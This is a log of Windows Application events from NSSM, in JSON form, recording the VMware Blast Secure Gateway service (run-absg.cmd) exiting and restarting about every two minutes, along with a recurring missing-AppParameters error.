{"@timestamp":1646634776785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154300}}
{"@timestamp":1646634776785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154301}}
{"@timestamp":1646634776786,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154302}}
{"@timestamp":1646634905295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154303}}
{"@timestamp":1646634905296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154304}}
{"@timestamp":1646634905296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150820","0"]}}},"module":"Application","provider":"nssm","sequence":154305}}
{"@timestamp":1646634905297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150820","150820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154306}}
{"@timestamp":1646634905316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154307}}
{"@timestamp":1646634905316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154308}}
{"@timestamp":1646634905317,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154309}}
{"@timestamp":1646634905318,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154310}}
{"@timestamp":1646635033839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154311}}
{"@timestamp":1646635033840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154312}}
{"@timestamp":1646635033841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149824","0"]}}},"module":"Application","provider":"nssm","sequence":154313}}
{"@timestamp":1646635033842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149824","149824","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154314}}
{"@timestamp":1646635033862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154315}}
{"@timestamp":1646635033862,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154316}}
{"@timestamp":1646635033863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154317}}
{"@timestamp":1646635033864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154318}}
{"@timestamp":1646635162366,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154319}}
{"@timestamp":1646635162367,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154320}}
{"@timestamp":1646635162368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150584","0"]}}},"module":"Application","provider":"nssm","sequence":154321}}
{"@timestamp":1646635162368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150584","150584","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154322}}
{"@timestamp":1646635162384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154323}}
{"@timestamp":1646635162385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154324}}
{"@timestamp":1646635162385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154325}}
{"@timestamp":1646635162386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154326}}
{"@timestamp":1646635290876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154327}}
{"@timestamp":1646635290878,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154328}}
{"@timestamp":1646635290879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151264","0"]}}},"module":"Application","provider":"nssm","sequence":154329}}
{"@timestamp":1646635290880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151264","151264","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154330}}
{"@timestamp":1646635290900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154331}}
{"@timestamp":1646635290901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154332}}
{"@timestamp":1646635290901,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154333}}
{"@timestamp":1646635290902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154334}}
{"@timestamp":1646635419437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154335}}
{"@timestamp":1646635419438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154336}}
{"@timestamp":1646635419439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151128","0"]}}},"module":"Application","provider":"nssm","sequence":154337}}
{"@timestamp":1646635419439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151128","151128","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154338}}
{"@timestamp":1646635419456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154339}}
{"@timestamp":1646635419457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154340}}
{"@timestamp":1646635419457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154341}}
{"@timestamp":1646635419458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154342}}
{"@timestamp":1646635547956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154343}}
{"@timestamp":1646635547957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154344}}
{"@timestamp":1646635547958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151008","0"]}}},"module":"Application","provider":"nssm","sequence":154345}}
{"@timestamp":1646635547958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151008","151008","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154346}}
{"@timestamp":1646635547975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154347}}
{"@timestamp":1646635547975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154348}}
{"@timestamp":1646635547976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154349}}
{"@timestamp":1646635547976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154350}}
{"@timestamp":1646635676500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154351}}
{"@timestamp":1646635676502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154352}}
{"@timestamp":1646635676502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150944","0"]}}},"module":"Application","provider":"nssm","sequence":154353}}
{"@timestamp":1646635676503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150944","150944","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154354}}
{"@timestamp":1646635676519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154355}}
{"@timestamp":1646635676520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154356}}
{"@timestamp":1646635676520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154357}}
{"@timestamp":1646635676521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154358}}
{"@timestamp":1646635805060,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154359}}
{"@timestamp":1646635805061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154360}}
{"@timestamp":1646635805061,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151460","0"]}}},"module":"Application","provider":"nssm","sequence":154361}}
{"@timestamp":1646635805062,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151460","151460","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154362}}
{"@timestamp":1646635805079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154363}}
{"@timestamp":1646635805080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154364}}
{"@timestamp":1646635805080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154365}}
{"@timestamp":1646635805081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154366}}
{"@timestamp":1646635933653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154367}}
{"@timestamp":1646635933653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154368}}
{"@timestamp":1646635933654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","147564","0"]}}},"module":"Application","provider":"nssm","sequence":154369}}
{"@timestamp":1646635933654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["147564","147564","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154370}}
{"@timestamp":1646635933671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154371}}
{"@timestamp":1646635933671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154372}}
{"@timestamp":1646635933672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154373}}
{"@timestamp":1646635933673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154374}}
{"@timestamp":1646636062302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154375}}
{"@timestamp":1646636062303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154376}}
{"@timestamp":1646636062304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150180","0"]}}},"module":"Application","provider":"nssm","sequence":154377}}
{"@timestamp":1646636062304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150180","150180","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154378}}
{"@timestamp":1646636062320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154379}}
{"@timestamp":1646636062321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154380}}
{"@timestamp":1646636062321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154381}}
{"@timestamp":1646636062322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154382}}
{"@timestamp":1646636190810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154383}}
{"@timestamp":1646636190811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154384}}
{"@timestamp":1646636190812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151388","0"]}}},"module":"Application","provider":"nssm","sequence":154385}}
{"@timestamp":1646636190813,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151388","151388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154386}}
{"@timestamp":1646636190828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154387}}
{"@timestamp":1646636190829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154388}}
{"@timestamp":1646636190829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154389}}
{"@timestamp":1646636190830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154390}}
{"@timestamp":1646636319330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154391}}
{"@timestamp":1646636319331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154392}}
{"@timestamp":1646636319332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150500","0"]}}},"module":"Application","provider":"nssm","sequence":154393}}
{"@timestamp":1646636319333,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150500","150500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154394}}
{"@timestamp":1646636319348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154395}}
{"@timestamp":1646636319349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154396}}
{"@timestamp":1646636319349,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154397}}
{"@timestamp":1646636319350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":154398}}
{"@timestamp":1646636447838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":154399}}
{"@timestamp":1646636447840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":154400}}
{"@timestamp":1646636447841,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151228","0"]}}},"module":"Application","provider":"nssm","sequence":154401}}
{"@timestamp":1646636447842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151228","151228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":154402}}
{"@timestamp":1646636447857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":154403}}
{"@timestamp":1646636447857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":154404}}
